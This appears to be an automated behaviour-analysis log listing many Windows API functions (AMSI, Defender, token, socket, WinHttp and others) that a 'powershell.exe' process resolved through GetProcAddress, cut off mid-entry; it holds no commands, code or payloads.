"powershell.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter RoInitialize (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetNativeSystemInfo (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter RoUninitialize (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter SysStringByteLen (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter RoGetActivationFactory (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateStringReference (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter WindowsDeleteString (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter IIDFromString (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateString (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter NtQueryInformationThread (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CreateWaitableTimerExW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter SetWaitableTimerEx (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter EventActivityIdControl (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter EventWriteTransfer (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter SetThreadErrorMode (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSize (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfo (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValue (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageName (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageNameW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessIdW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValue (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValueW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivileges (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivilegesW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter ResolveLocaleName (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathName (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter FindNLSStringEx (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPath (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributes (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariable (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CreateFile (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter WTGetSignatureInfo (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModules (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModulesW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformation (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformationW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseName (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseNameW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameEx (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameExW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcess (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcessW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter EnumWindows (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter EnumWindowsW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessId (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessIdW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetWindow (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter IsWindowVisible (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter IsWindowVisibleW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformationW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter WerSetFlags (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguages (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguagesW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguages (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguagesW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleNameW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CoCreateGuid (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeExW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoExW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCP (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCPW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontEx (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontExW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleMode (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleModeW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfo (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfoW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleMode (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleModeW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain_RetAddr (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandler (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandlerW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetTargetForVTableEntry (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry_RetAddr (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry_RetAddr (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformationW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter LocalAllocW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenEx (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenExW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembershipW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitle (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitleW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitle (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitleW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleWindow (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContext (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContext (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateContextProperty (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContextW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateData (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateDataW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChain (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChainW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChain (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChainW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrust (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrustW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContextW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter ShowWindow (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimes (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimesW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetDynamicTimeZoneInformation (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetFileMUIPath (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryEx (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter LoadStringW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CreateWellKnownSid (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipe (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipeW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter RoGetParameterizedTypeInstanceIID (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CreateEvent (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CreateEventW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter ConnectNamedPipe (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStrings (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStringsW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetModuleHandle (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetModuleHandleW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter IsWow64Process (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariable (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariableW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetTimeZoneInformation (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKey (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyEx (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameEx (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetUserName (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter LookupAccountName (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter LookupAccountNameW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter EnumCalendarInfoExEx (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetCalendarInfoEx (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter EnumTimeFormatsEx (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter ReleaseMutex (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSource (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSourceW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter DeregisterEventSource (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter ReportEvent (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter ReportEventW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetLogicalDrives (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetDriveType (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetDriveTypeW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformation (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformationW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPath (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPathW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttribute (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttributeW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter WriteConsole (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter WriteConsoleW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentDirectoryW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectory (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectoryW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter WldpGetLockdownPolicy (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetTempPath (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetTempPathW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter DeleteFile (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter DeleteFileW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetSystemInfo (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter QueryPerformanceFrequency (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter QueryPerformanceCounter (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter SetEvent (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CoWaitForMultipleHandles (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguage (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguageW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter AmsiOpenSession (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter AmsiScanBuffer (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter MpManagerOpen (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter MpHandleClose (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter MpFreeMemory (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter MpScanStart (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter MpMemoryScanStart (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter MpScanResult (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter MpThreatOpen (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter MpThreatEnumerate (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter MpConfigOpen (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter MpConfigGetValue (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter MpConfigGetValueAlloc (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter MpConfigClose (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter MpFastMemoryScanOpen (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter MpFastMemoryScan (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryInitialize (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryUninitialize (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryAddToAverageDWORD (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter MpAmsiScan (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter MpAmsiCloseSession (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter MpConfigRegisterForNotifications (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter MpConfigUnregisterNotifications (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter MpClientUtilExportFunctions (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter MpManagerVersionQuery (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter RegisterGPNotification (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter UnregisterGPNotification (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFile (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFileW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter FindClose (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter FindNextFile (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter FindNextFileW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter QueryUnbiasedInterruptTime (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter AmsiCloseSession (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetACP (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter UnmapViewOfFile (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter SetFilePointer (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter LsaClose (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter LsaFreeMemory (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter LsaOpenPolicy (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter LsaLookupSids (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetNetworkParams (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentThreadId (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileName (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter BCryptGetFipsAlgorithmMode (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetFileSize (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter WldpIsDynamicCodePolicyEnabled (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter ConvertStringSecurityDescriptorToSecurityDescriptor (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter ConvertStringSecurityDescriptorToSecurityDescriptorW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CreateDirectory (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CreateDirectoryA (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetStdHandleW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentStrings (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentStringsW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter FreeEnvironmentStrings (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter FreeEnvironmentStringsW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CreateProcess (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CreateProcessW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter DuplicateHandle (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter RasEnumConnections (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter RasEnumConnectionsW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter WSAStartup (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter WSASocket (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter WSASocketW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter setsockopt (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter WSAEventSelect (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter ioctlsocket (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter closesocket (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter WSAIoctl (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter FormatMessage (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter FormatMessageW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter RasConnectionNotification (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter RasConnectionNotificationW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter RegOpenCurrentUser (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter RegNotifyChangeKeyValue (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter WinHttpOpen (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter WinHttpOpenW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter WinHttpCloseHandle (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter WinHttpCloseHandleW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter WinHttpSetTimeouts (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter WinHttpSetTimeoutsW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter WinHttpGetIEProxyConfigForCurrentUser (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter ResetEvent (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter WinHttpGetProxyForUrl (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter WinHttpGetProxyForUrlW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetAddrInfoW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter freeaddrinfo (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetAdaptersAddresses (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter WSAConnect (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter EnumerateSecurityPackagesW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter FreeContextBuffer (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter FreeCredentialsHandle (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter AcquireCredentialsHandleW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter DeleteSecurityContext (UID: 00000000-00004464) "powershell.exe" called 